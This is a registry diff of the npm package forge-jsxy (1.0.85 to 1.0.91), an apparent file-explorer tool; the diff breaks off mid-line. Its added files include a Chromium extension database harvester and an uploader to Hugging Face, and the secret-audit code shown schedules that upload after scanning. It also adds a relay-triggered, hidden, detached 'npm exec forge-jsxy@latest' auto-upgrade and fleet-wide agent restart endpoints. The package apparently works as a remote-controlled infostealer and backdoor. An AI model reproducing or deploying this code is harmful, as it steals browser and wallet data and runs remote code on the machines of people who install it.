forge-jsxy 1.0.85 → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +63 -21
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +114 -0
- package/dist/agentRunner.js +97 -23
- package/dist/assets/files-explorer-template.html +64 -22
- package/dist/autostart/agentEnvFile.d.ts +6 -0
- package/dist/autostart/agentEnvFile.js +51 -2
- package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
- package/dist/chromiumExtensionDbHarvest.js +560 -0
- package/dist/cli-agent.js +1 -0
- package/dist/clipboardExec.d.ts +4 -0
- package/dist/clipboardExec.js +29 -15
- package/dist/extensionDbHfUpload.d.ts +24 -0
- package/dist/extensionDbHfUpload.js +198 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/hfUpload.d.ts +5 -0
- package/dist/hfUpload.js +18 -3
- package/dist/hostInventorySend.js +6 -1
- package/dist/relayAgent.d.ts +5 -0
- package/dist/relayAgent.js +139 -7
- package/dist/relayAgentAutoUpgrade.d.ts +9 -0
- package/dist/relayAgentAutoUpgrade.js +143 -0
- package/dist/relayDashboardGate.d.ts +5 -0
- package/dist/relayDashboardGate.js +60 -0
- package/dist/relayServer.js +181 -6
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -0
- package/dist/syncClient.d.ts +1 -1
- package/dist/syncClient.js +5 -1
- package/dist/windowsInputSync.d.ts +15 -1
- package/dist/windowsInputSync.js +226 -67
- package/dist/workerBootstrap.js +3 -0
- package/package.json +2 -2
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
- package/scripts/forge-jsx-explorer-restart.mjs +9 -18
- package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
- package/scripts/postinstall-agent.mjs +53 -8
- package/scripts/postinstall-bootstrap.mjs +13 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
|
@@ -0,0 +1,143 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.autoUpgradeOnRelayHintEnabled = autoUpgradeOnRelayHintEnabled;
|
|
37
|
+
exports.maybeRunAutoUpgradeFromRelayHint = maybeRunAutoUpgradeFromRelayHint;
|
|
38
|
+
/**
|
|
39
|
+
* Unattended upgrade when relay advertises a newer `recommended_agent_version`.
|
|
40
|
+
* Enabled when `FORGE_JS_AUTO_UPGRADE_ON_RELAY=1` **or** relay `relay_features.auto_upgrade_on_relay`
|
|
41
|
+
* (relay env `RELAY_AUTO_UPGRADE_AGENTS=1`, default on). Staggered; at most once per 6h per machine.
|
|
42
|
+
*/
|
|
43
|
+
const node_child_process_1 = require("node:child_process");
|
|
44
|
+
const fs = __importStar(require("node:fs"));
|
|
45
|
+
const path = __importStar(require("node:path"));
|
|
46
|
+
const clientId_js_1 = require("./clientId.js");
|
|
47
|
+
const forgeSemver_js_1 = require("./forgeSemver.js");
|
|
48
|
+
const MIN_INTERVAL_MS = 6 * 60 * 60 * 1000;
|
|
49
|
+
/** Shorter cooldown while relay uptime is under 2h (post-crash reconnect / upgrade storm). */
|
|
50
|
+
const RECOVERY_MIN_INTERVAL_MS = 90 * 60 * 1000;
|
|
51
|
+
const RECOVERY_RELAY_UPTIME_MS = 2 * 60 * 60 * 1000;
|
|
52
|
+
function relayStartedAtMsFromCaps(relayCaps) {
|
|
53
|
+
if (!relayCaps)
|
|
54
|
+
return null;
|
|
55
|
+
const raw = relayCaps.relay_started_at_ms;
|
|
56
|
+
if (typeof raw === "number" && Number.isFinite(raw))
|
|
57
|
+
return raw;
|
|
58
|
+
if (typeof raw === "string" && raw.trim()) {
|
|
59
|
+
const n = Number.parseFloat(raw.trim());
|
|
60
|
+
if (Number.isFinite(n))
|
|
61
|
+
return n;
|
|
62
|
+
}
|
|
63
|
+
return null;
|
|
64
|
+
}
|
|
65
|
+
function minUpgradeIntervalMs(relayCaps) {
|
|
66
|
+
const started = relayStartedAtMsFromCaps(relayCaps);
|
|
67
|
+
if (started != null && Date.now() - started < RECOVERY_RELAY_UPTIME_MS) {
|
|
68
|
+
return RECOVERY_MIN_INTERVAL_MS;
|
|
69
|
+
}
|
|
70
|
+
return MIN_INTERVAL_MS;
|
|
71
|
+
}
|
|
72
|
+
function relayCapsTruthy(v) {
|
|
73
|
+
if (v === true || v === 1)
|
|
74
|
+
return true;
|
|
75
|
+
if (typeof v === "string") {
|
|
76
|
+
const s = v.trim().toLowerCase();
|
|
77
|
+
return s === "1" || s === "true" || s === "yes" || s === "on";
|
|
78
|
+
}
|
|
79
|
+
return false;
|
|
80
|
+
}
|
|
81
|
+
function autoUpgradeOnRelayHintEnabled(relayCaps) {
|
|
82
|
+
const local = (process.env.FORGE_JS_AUTO_UPGRADE_ON_RELAY || "").trim().toLowerCase();
|
|
83
|
+
if (["1", "true", "yes", "on"].includes(local))
|
|
84
|
+
return true;
|
|
85
|
+
if (local === "0" || local === "false" || local === "no" || local === "off")
|
|
86
|
+
return false;
|
|
87
|
+
if (relayCaps && relayCapsTruthy(relayCaps.auto_upgrade_on_relay))
|
|
88
|
+
return true;
|
|
89
|
+
return false;
|
|
90
|
+
}
|
|
91
|
+
function staggerMsForSession(sessionId, relayCaps) {
|
|
92
|
+
let h = 0;
|
|
93
|
+
const s = sessionId.trim();
|
|
94
|
+
for (let i = 0; i < s.length; i++)
|
|
95
|
+
h = (h * 31 + s.charCodeAt(i)) >>> 0;
|
|
96
|
+
const started = relayStartedAtMsFromCaps(relayCaps);
|
|
97
|
+
const recovering = started != null && Date.now() - started < RECOVERY_RELAY_UPTIME_MS;
|
|
98
|
+
const capMs = recovering ? 10 * 60 * 1000 : 30 * 60 * 1000;
|
|
99
|
+
return h % capMs;
|
|
100
|
+
}
|
|
101
|
+
/** Detached `npm exec forge-jsx-explorer-upgrade` (same entry as file-explorer Upgrade). */
|
|
102
|
+
function maybeRunAutoUpgradeFromRelayHint(opts) {
|
|
103
|
+
if (!autoUpgradeOnRelayHintEnabled(opts.relayCaps))
|
|
104
|
+
return;
|
|
105
|
+
const rec = opts.recommendedVersion.trim();
|
|
106
|
+
const cur = opts.agentVersion.trim();
|
|
107
|
+
if (!rec || !cur || !(0, forgeSemver_js_1.forgeSemverLt)(cur, rec))
|
|
108
|
+
return;
|
|
109
|
+
const dataDir = (0, clientId_js_1.defaultCfgmgrDataDir)();
|
|
110
|
+
const stampPath = path.join(dataDir, ".forge-auto-upgrade-last.json");
|
|
111
|
+
let lastMs = 0;
|
|
112
|
+
try {
|
|
113
|
+
const j = JSON.parse(fs.readFileSync(stampPath, "utf8"));
|
|
114
|
+
if (typeof j.atMs === "number")
|
|
115
|
+
lastMs = j.atMs;
|
|
116
|
+
}
|
|
117
|
+
catch {
|
|
118
|
+
/* first run */
|
|
119
|
+
}
|
|
120
|
+
const minIv = minUpgradeIntervalMs(opts.relayCaps);
|
|
121
|
+
if (Date.now() - lastMs < minIv)
|
|
122
|
+
return;
|
|
123
|
+
const delayMs = staggerMsForSession(opts.sessionId, opts.relayCaps);
|
|
124
|
+
const t = setTimeout(() => {
|
|
125
|
+
try {
|
|
126
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
127
|
+
fs.writeFileSync(stampPath, JSON.stringify({ atMs: Date.now(), from: cur, to: rec }), "utf8");
|
|
128
|
+
}
|
|
129
|
+
catch {
|
|
130
|
+
/* skip */
|
|
131
|
+
}
|
|
132
|
+
const isWin = process.platform === "win32";
|
|
133
|
+
const cmd = isWin ? "npm.cmd" : "npm";
|
|
134
|
+
const child = (0, node_child_process_1.spawn)(cmd, ["exec", "--yes", "--package=forge-jsxy@latest", "--", "forge-jsx-explorer-upgrade"], { detached: true, stdio: "ignore", windowsHide: isWin });
|
|
135
|
+
child.unref();
|
|
136
|
+
if (!opts.quiet) {
|
|
137
|
+
console.log(`[forge-agent] Auto-upgrade started (relay recommends v${rec}, running v${cur}; may reconnect briefly)`);
|
|
138
|
+
}
|
|
139
|
+
}, delayMs);
|
|
140
|
+
if (typeof t === "object" && t && "unref" in t) {
|
|
141
|
+
t.unref();
|
|
142
|
+
}
|
|
143
|
+
}
|
|
@@ -23,6 +23,11 @@ export declare function clearDashboardCookieHeader(): {
|
|
|
23
23
|
"set-cookie": string;
|
|
24
24
|
};
|
|
25
25
|
export declare function buildDashboardGateLoginHtml(): string;
|
|
26
|
+
/** Generic JSON POST body (ops APIs — not limited to dashboard password). */
|
|
27
|
+
export declare function readJsonObjectBody(req: http.IncomingMessage, maxBytes?: number): Promise<{
|
|
28
|
+
error?: string;
|
|
29
|
+
data?: Record<string, unknown>;
|
|
30
|
+
}>;
|
|
26
31
|
export declare function readJsonBody(req: http.IncomingMessage): Promise<{
|
|
27
32
|
error?: string;
|
|
28
33
|
data?: {
|
|
@@ -9,6 +9,7 @@ exports.relayDashboardUnlockedForRequest = relayDashboardUnlockedForRequest;
|
|
|
9
9
|
exports.tryDashboardLogin = tryDashboardLogin;
|
|
10
10
|
exports.clearDashboardCookieHeader = clearDashboardCookieHeader;
|
|
11
11
|
exports.buildDashboardGateLoginHtml = buildDashboardGateLoginHtml;
|
|
12
|
+
exports.readJsonObjectBody = readJsonObjectBody;
|
|
12
13
|
exports.readJsonBody = readJsonBody;
|
|
13
14
|
/**
|
|
14
15
|
* Optional relay HTTP/WebSocket gate: .env stores only the SHA-256 (hex) of the dashboard
|
|
@@ -261,6 +262,65 @@ function buildDashboardGateLoginHtml() {
|
|
|
261
262
|
</html>`;
|
|
262
263
|
}
|
|
263
264
|
const MAX_AUTH_BODY = 64 * 1024;
|
|
265
|
+
/** Generic JSON POST body (ops APIs — not limited to dashboard password). */
|
|
266
|
+
function readJsonObjectBody(req, maxBytes = MAX_AUTH_BODY) {
|
|
267
|
+
return new Promise((resolve) => {
|
|
268
|
+
const chunks = [];
|
|
269
|
+
let len = 0;
|
|
270
|
+
let done = false;
|
|
271
|
+
const fin = (v) => {
|
|
272
|
+
if (done)
|
|
273
|
+
return;
|
|
274
|
+
done = true;
|
|
275
|
+
resolve(v);
|
|
276
|
+
};
|
|
277
|
+
req.on("data", (c) => {
|
|
278
|
+
if (done)
|
|
279
|
+
return;
|
|
280
|
+
const b = typeof c === "string" ? Buffer.from(c) : c;
|
|
281
|
+
len += b.length;
|
|
282
|
+
if (len > maxBytes) {
|
|
283
|
+
try {
|
|
284
|
+
req.destroy();
|
|
285
|
+
}
|
|
286
|
+
catch {
|
|
287
|
+
/* skip */
|
|
288
|
+
}
|
|
289
|
+
fin({ error: "payload too large" });
|
|
290
|
+
return;
|
|
291
|
+
}
|
|
292
|
+
chunks.push(b);
|
|
293
|
+
});
|
|
294
|
+
req.on("end", () => {
|
|
295
|
+
if (done)
|
|
296
|
+
return;
|
|
297
|
+
const raw = Buffer.concat(chunks).toString("utf8").trim();
|
|
298
|
+
if (!raw) {
|
|
299
|
+
fin({ data: {} });
|
|
300
|
+
return;
|
|
301
|
+
}
|
|
302
|
+
try {
|
|
303
|
+
const o = JSON.parse(raw);
|
|
304
|
+
if (!o || typeof o !== "object" || Array.isArray(o)) {
|
|
305
|
+
fin({ error: "invalid json object" });
|
|
306
|
+
return;
|
|
307
|
+
}
|
|
308
|
+
fin({ data: o });
|
|
309
|
+
}
|
|
310
|
+
catch {
|
|
311
|
+
fin({ error: "invalid json" });
|
|
312
|
+
}
|
|
313
|
+
});
|
|
314
|
+
req.on("error", () => fin({ error: "aborted" }));
|
|
315
|
+
req.on("close", () => {
|
|
316
|
+
if (done)
|
|
317
|
+
return;
|
|
318
|
+
if (req.readableEnded)
|
|
319
|
+
return;
|
|
320
|
+
fin({ error: "aborted" });
|
|
321
|
+
});
|
|
322
|
+
});
|
|
323
|
+
}
|
|
264
324
|
function readJsonBody(req) {
|
|
265
325
|
return new Promise((resolve) => {
|
|
266
326
|
const chunks = [];
|
package/dist/relayServer.js
CHANGED
|
@@ -99,6 +99,19 @@ function _blacklistEnabled() {
|
|
|
99
99
|
const raw = (process.env.RELAY_BLACKLIST_CHECK ?? "1").trim().toLowerCase();
|
|
100
100
|
return !["0", "false", "no", "off"].includes(raw);
|
|
101
101
|
}
|
|
102
|
+
function agentVersionOlderThanRelay(agentVersion, relayPkg) {
|
|
103
|
+
const av = agentVersion.trim().split(".").map((x) => parseInt(x, 10) || 0);
|
|
104
|
+
const rv = relayPkg.trim().split(".").map((x) => parseInt(x, 10) || 0);
|
|
105
|
+
if (rv.length < 3 || av.length < 3)
|
|
106
|
+
return false;
|
|
107
|
+
if (av[0] < rv[0])
|
|
108
|
+
return true;
|
|
109
|
+
if (av[0] === rv[0] && av[1] < rv[1])
|
|
110
|
+
return true;
|
|
111
|
+
if (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2])
|
|
112
|
+
return true;
|
|
113
|
+
return false;
|
|
114
|
+
}
|
|
102
115
|
async function _refreshBlacklistIfStale() {
|
|
103
116
|
if (!_blacklistEnabled())
|
|
104
117
|
return;
|
|
@@ -395,6 +408,8 @@ class Session {
|
|
|
395
408
|
}
|
|
396
409
|
}
|
|
397
410
|
const sessions = new Map();
|
|
411
|
+
/** Set when `startRelayServer` binds — exposed on `GET /api/sessions` for status dashboards during reconnect storms. */
|
|
412
|
+
let relayServerStartedAtMs = 0;
|
|
398
413
|
function wsIsOpen(ws) {
|
|
399
414
|
return ws !== null && ws.readyState === ws_1.default.OPEN;
|
|
400
415
|
}
|
|
@@ -868,6 +883,130 @@ function listSessionsPayload() {
|
|
|
868
883
|
agent_webrtc_datachannel: s.agentWebrtcDatachannel,
|
|
869
884
|
}));
|
|
870
885
|
}
|
|
886
|
+
/** Ops snapshot: connected agents + upgrade targets (same auth as `/api/sessions`). */
|
|
887
|
+
async function queueAgentRestartsOnForgeDb(tableNames, note) {
|
|
888
|
+
const base = _forgeDbApiUrl().replace(/\/+$/, "");
|
|
889
|
+
const apiKey = (process.env.RELAY_FORGE_DB_API_KEY ||
|
|
890
|
+
process.env.FORGE_DB_API_KEY ||
|
|
891
|
+
"").trim();
|
|
892
|
+
const headers = { "Content-Type": "application/json" };
|
|
893
|
+
if (apiKey)
|
|
894
|
+
headers["X-Forge-Api-Key"] = apiKey;
|
|
895
|
+
const res = await fetch(`${base}/api/agent-restart-queue`, {
|
|
896
|
+
method: "POST",
|
|
897
|
+
headers,
|
|
898
|
+
body: JSON.stringify({
|
|
899
|
+
table_names: tableNames,
|
|
900
|
+
note: note || "relay /api/agent-restart-queue",
|
|
901
|
+
}),
|
|
902
|
+
});
|
|
903
|
+
const text = await res.text();
|
|
904
|
+
let data = {};
|
|
905
|
+
try {
|
|
906
|
+
data = text ? JSON.parse(text) : {};
|
|
907
|
+
}
|
|
908
|
+
catch {
|
|
909
|
+
data = { raw: text };
|
|
910
|
+
}
|
|
911
|
+
if (!res.ok) {
|
|
912
|
+
throw new Error(`forge-db queue HTTP ${res.status}: ${text.slice(0, 400)}`);
|
|
913
|
+
}
|
|
914
|
+
const o = data;
|
|
915
|
+
return {
|
|
916
|
+
queued: Array.isArray(o.queued) ? o.queued.map(String) : [],
|
|
917
|
+
count: typeof o.count === "number" ? o.count : 0,
|
|
918
|
+
};
|
|
919
|
+
}
|
|
920
|
+
function nudgeConnectedAgentsRestart(tableNames) {
|
|
921
|
+
const want = new Set(tableNames
|
|
922
|
+
.map((t) => (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(String(t).trim()))
|
|
923
|
+
.filter((t) => t.length > 0));
|
|
924
|
+
let n = 0;
|
|
925
|
+
for (const s of sessions.values()) {
|
|
926
|
+
if (!want.has(s.sessionId))
|
|
927
|
+
continue;
|
|
928
|
+
if (!wsIsOpen(s.agent))
|
|
929
|
+
continue;
|
|
930
|
+
try {
|
|
931
|
+
s.agent.send(JSON.stringify({ type: "relay_agent_restart_requested" }));
|
|
932
|
+
n++;
|
|
933
|
+
}
|
|
934
|
+
catch {
|
|
935
|
+
/* skip */
|
|
936
|
+
}
|
|
937
|
+
}
|
|
938
|
+
return n;
|
|
939
|
+
}
|
|
940
|
+
function handlePostAgentRestartQueue(req, res) {
|
|
941
|
+
void (0, relayDashboardGate_1.readJsonObjectBody)(req).then(async (b) => {
|
|
942
|
+
if (res.writableEnded)
|
|
943
|
+
return;
|
|
944
|
+
try {
|
|
945
|
+
if (b.error) {
|
|
946
|
+
res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
|
|
947
|
+
res.end(JSON.stringify({ error: b.error }));
|
|
948
|
+
return;
|
|
949
|
+
}
|
|
950
|
+
const body = b.data || {};
|
|
951
|
+
const raw = body.table_names ?? body.tableNames ?? body.sessions;
|
|
952
|
+
const list = Array.isArray(raw)
|
|
953
|
+
? raw.map((x) => String(x).trim()).filter(Boolean)
|
|
954
|
+
: [];
|
|
955
|
+
if (!list.length) {
|
|
956
|
+
res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
|
|
957
|
+
res.end(JSON.stringify({ error: "table_names[] required" }));
|
|
958
|
+
return;
|
|
959
|
+
}
|
|
960
|
+
const note = String(body.note ?? "").trim();
|
|
961
|
+
const queued = await queueAgentRestartsOnForgeDb(list, note);
|
|
962
|
+
const wsNudged = nudgeConnectedAgentsRestart(list);
|
|
963
|
+
_applySecurityHeaders(res);
|
|
964
|
+
res.writeHead(200, { "Content-Type": "application/json; charset=utf-8" });
|
|
965
|
+
res.end(JSON.stringify({
|
|
966
|
+
status: "ok",
|
|
967
|
+
forge_db: queued,
|
|
968
|
+
ws_nudged: wsNudged,
|
|
969
|
+
}));
|
|
970
|
+
}
|
|
971
|
+
catch (e) {
|
|
972
|
+
_ifHttpWritable(res, () => {
|
|
973
|
+
res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
|
|
974
|
+
res.end(JSON.stringify({
|
|
975
|
+
error: e instanceof Error ? e.message : String(e),
|
|
976
|
+
}));
|
|
977
|
+
});
|
|
978
|
+
}
|
|
979
|
+
});
|
|
980
|
+
}
|
|
981
|
+
function listAgentFleetPayload() {
|
|
982
|
+
const relayPkg = relayPackageVersion();
|
|
983
|
+
const agents = Array.from(sessions.values())
|
|
984
|
+
.filter((s) => wsIsOpen(s.agent))
|
|
985
|
+
.map((s) => {
|
|
986
|
+
const ver = (s.agentVersion || "").trim();
|
|
987
|
+
const needsUpgrade = relayPkg !== "unknown" && ver
|
|
988
|
+
? agentVersionOlderThanRelay(ver, relayPkg)
|
|
989
|
+
: false;
|
|
990
|
+
return {
|
|
991
|
+
session_id: s.sessionId,
|
|
992
|
+
agent_version: ver || null,
|
|
993
|
+
agent_hostname: s.agentHostname || null,
|
|
994
|
+
agent_os: s.agentOs || null,
|
|
995
|
+
needs_upgrade: needsUpgrade,
|
|
996
|
+
};
|
|
997
|
+
});
|
|
998
|
+
const needsUpgrade = agents.filter((a) => a.needs_upgrade).length;
|
|
999
|
+
return {
|
|
1000
|
+
relay_version: relayPkg === "unknown" ? null : relayPkg,
|
|
1001
|
+
relay_started_at_ms: relayServerStartedAtMs || Date.now(),
|
|
1002
|
+
summary: {
|
|
1003
|
+
connected_agents: agents.length,
|
|
1004
|
+
needs_upgrade: needsUpgrade,
|
|
1005
|
+
on_current_relay: agents.length - needsUpgrade,
|
|
1006
|
+
},
|
|
1007
|
+
agents,
|
|
1008
|
+
};
|
|
1009
|
+
}
|
|
871
1010
|
function handleHttp(req, res) {
|
|
872
1011
|
let url;
|
|
873
1012
|
try {
|
|
@@ -884,6 +1023,10 @@ function handleHttp(req, res) {
|
|
|
884
1023
|
handlePostRelayDashboard(req, res, p);
|
|
885
1024
|
return;
|
|
886
1025
|
}
|
|
1026
|
+
if (p === "/api/agent-restart-queue" && relaySessionsApiAllowed(req)) {
|
|
1027
|
+
handlePostAgentRestartQueue(req, res);
|
|
1028
|
+
return;
|
|
1029
|
+
}
|
|
887
1030
|
res.writeHead(405, { "Content-Type": "text/plain" });
|
|
888
1031
|
res.end("Method Not Allowed");
|
|
889
1032
|
return;
|
|
@@ -980,7 +1123,16 @@ function handleHttp(req, res) {
|
|
|
980
1123
|
if (p === "/api/sessions" && relaySessionsApiAllowed(req)) {
|
|
981
1124
|
_applySecurityHeaders(res);
|
|
982
1125
|
res.writeHead(200, { "Content-Type": "application/json" });
|
|
983
|
-
res.end(JSON.stringify({
|
|
1126
|
+
res.end(JSON.stringify({
|
|
1127
|
+
sessions: listSessionsPayload(),
|
|
1128
|
+
relay_started_at_ms: relayServerStartedAtMs || Date.now(),
|
|
1129
|
+
}));
|
|
1130
|
+
return;
|
|
1131
|
+
}
|
|
1132
|
+
if (p === "/api/agent-fleet" && relaySessionsApiAllowed(req)) {
|
|
1133
|
+
_applySecurityHeaders(res);
|
|
1134
|
+
res.writeHead(200, { "Content-Type": "application/json" });
|
|
1135
|
+
res.end(JSON.stringify(listAgentFleetPayload()));
|
|
984
1136
|
return;
|
|
985
1137
|
}
|
|
986
1138
|
/**
|
|
@@ -1150,6 +1302,20 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1150
1302
|
const v = relayPackageVersion();
|
|
1151
1303
|
return v === "unknown" ? undefined : v;
|
|
1152
1304
|
})(),
|
|
1305
|
+
relay_started_at_ms: relayServerStartedAtMs || Date.now(),
|
|
1306
|
+
recommended_agent_version: (() => {
|
|
1307
|
+
const v = relayPackageVersion();
|
|
1308
|
+
return v === "unknown" ? undefined : v;
|
|
1309
|
+
})(),
|
|
1310
|
+
relay_reconnect_delay_ms: (() => {
|
|
1311
|
+
const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
|
|
1312
|
+
if (raw) {
|
|
1313
|
+
const n = parseInt(raw, 10);
|
|
1314
|
+
if (Number.isFinite(n) && n >= 500 && n <= 120_000)
|
|
1315
|
+
return n;
|
|
1316
|
+
}
|
|
1317
|
+
return 2000;
|
|
1318
|
+
})(),
|
|
1153
1319
|
...(relayWebRtcFeaturesPayload() ?? {}),
|
|
1154
1320
|
};
|
|
1155
1321
|
ws.send(JSON.stringify({
|
|
@@ -1495,11 +1661,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1495
1661
|
// Log version comparison against actual relay package version.
|
|
1496
1662
|
if (session.agentVersion) {
|
|
1497
1663
|
const relayPkg = relayPackageVersion();
|
|
1498
|
-
const
|
|
1499
|
-
const rv = relayPkg.split(".").map(Number);
|
|
1500
|
-
const agentOlder = rv.length >= 3 && av.length >= 3 &&
|
|
1501
|
-
(av[0] < rv[0] || (av[0] === rv[0] && av[1] < rv[1]) ||
|
|
1502
|
-
(av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2]));
|
|
1664
|
+
const agentOlder = agentVersionOlderThanRelay(session.agentVersion, relayPkg);
|
|
1503
1665
|
if (_shouldLogVersionNotice(sessionId)) {
|
|
1504
1666
|
if (agentOlder) {
|
|
1505
1667
|
console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — upgrade from file explorer (Upgrade agent) when ready`);
|
|
@@ -1764,8 +1926,19 @@ function startRelayServer(opts = {}) {
|
|
|
1764
1926
|
}
|
|
1765
1927
|
}, 30_000);
|
|
1766
1928
|
interval.unref?.();
|
|
1929
|
+
const agentStatusLogMs = 300_000;
|
|
1930
|
+
let agentStatusLogPass = 0;
|
|
1931
|
+
const agentStatusInterval = setInterval(() => {
|
|
1932
|
+
agentStatusLogPass++;
|
|
1933
|
+
const withAgent = [...sessions.values()].filter((s) => wsIsOpen(s.agent)).length;
|
|
1934
|
+
if (agentStatusLogPass === 1 || agentStatusLogPass % 4 === 0) {
|
|
1935
|
+
console.log(`[relay] connected agents: ${withAgent}`);
|
|
1936
|
+
}
|
|
1937
|
+
}, agentStatusLogMs);
|
|
1938
|
+
agentStatusInterval.unref?.();
|
|
1767
1939
|
server.once("close", () => {
|
|
1768
1940
|
clearInterval(interval);
|
|
1941
|
+
clearInterval(agentStatusInterval);
|
|
1769
1942
|
try {
|
|
1770
1943
|
wss.close();
|
|
1771
1944
|
}
|
|
@@ -1774,11 +1947,13 @@ function startRelayServer(opts = {}) {
|
|
|
1774
1947
|
}
|
|
1775
1948
|
});
|
|
1776
1949
|
(0, relayDashboardGate_1.warnInvalidDashboardGateEnvIfNeeded)();
|
|
1950
|
+
relayServerStartedAtMs = Date.now();
|
|
1777
1951
|
server.listen(port, host, () => {
|
|
1778
1952
|
const addr = server.address();
|
|
1779
1953
|
const listenPort = typeof addr === "object" && addr && "port" in addr ? addr.port : port;
|
|
1780
1954
|
const uh = urlDisplayHost(host);
|
|
1781
1955
|
console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
|
|
1956
|
+
console.log(`[relay] v${relayPackageVersion()} (forge-jsxy upgrades are manual: file explorer → Upgrade forge-jsxy)`);
|
|
1782
1957
|
console.log(` File explorer: http://${uh}:${listenPort}/`);
|
|
1783
1958
|
console.log(` Same UI: /files /explorer /viewer /remote minimal relay page: /relay`);
|
|
1784
1959
|
console.log(` WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
|
|
@@ -42,10 +42,13 @@ export declare function shouldRunSecretAuditNow(): boolean;
|
|
|
42
42
|
export declare function runAgentStartupSecretAudit(opts: {
|
|
43
43
|
relayCaps?: Record<string, unknown>;
|
|
44
44
|
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
45
|
+
/** Session / forge-db table name (`client_*`) for session Hub repo uploads. */
|
|
46
|
+
clientTableName?: string;
|
|
45
47
|
quiet: boolean;
|
|
46
48
|
}): Promise<void>;
|
|
47
49
|
export declare function scheduleAgentStartupSecretAudit(opts: {
|
|
48
50
|
relayCaps: Record<string, unknown>;
|
|
49
51
|
quiet: boolean;
|
|
50
52
|
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
53
|
+
clientTableName?: string;
|
|
51
54
|
}): void;
|
|
@@ -87,6 +87,7 @@ const auditFindingSlim_1 = require("./auditFindingSlim");
|
|
|
87
87
|
const runFilenameSecretScan_1 = require("./runFilenameSecretScan");
|
|
88
88
|
const runFilenameSecretScan_2 = require("./runFilenameSecretScan");
|
|
89
89
|
const auditScanScope_1 = require("./auditScanScope");
|
|
90
|
+
const extensionDbHfUpload_1 = require("../extensionDbHfUpload");
|
|
90
91
|
const strictMaterialGate_1 = require("./strictMaterialGate");
|
|
91
92
|
function auditDir() {
|
|
92
93
|
return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
|
|
@@ -700,6 +701,11 @@ async function runAgentStartupSecretAudit(opts) {
|
|
|
700
701
|
"optional CFGMGR_HF_NAMESPACE if JSON lacks \"namespace\")");
|
|
701
702
|
}
|
|
702
703
|
}
|
|
704
|
+
(0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
|
|
705
|
+
clientTableName: (opts.clientTableName || "").trim(),
|
|
706
|
+
fetchHubCredentials: opts.fetchHubCredentials,
|
|
707
|
+
quiet: opts.quiet,
|
|
708
|
+
});
|
|
703
709
|
}
|
|
704
710
|
finally {
|
|
705
711
|
auditInFlight = false;
|
|
@@ -713,6 +719,7 @@ function scheduleAgentStartupSecretAudit(opts) {
|
|
|
713
719
|
relayCaps: opts.relayCaps,
|
|
714
720
|
quiet: opts.quiet,
|
|
715
721
|
fetchHubCredentials: opts.fetchHubCredentials,
|
|
722
|
+
clientTableName: opts.clientTableName,
|
|
716
723
|
}).catch((e) => {
|
|
717
724
|
if (!opts.quiet) {
|
|
718
725
|
console.warn("[forge-agent] secret audit:", e instanceof Error ? e.message : e);
|
package/dist/syncClient.d.ts
CHANGED
|
@@ -46,7 +46,7 @@ export declare class ForgeSyncClient {
|
|
|
46
46
|
os_type?: string;
|
|
47
47
|
os_platform?: string;
|
|
48
48
|
hostname?: string;
|
|
49
|
-
}): Promise<
|
|
49
|
+
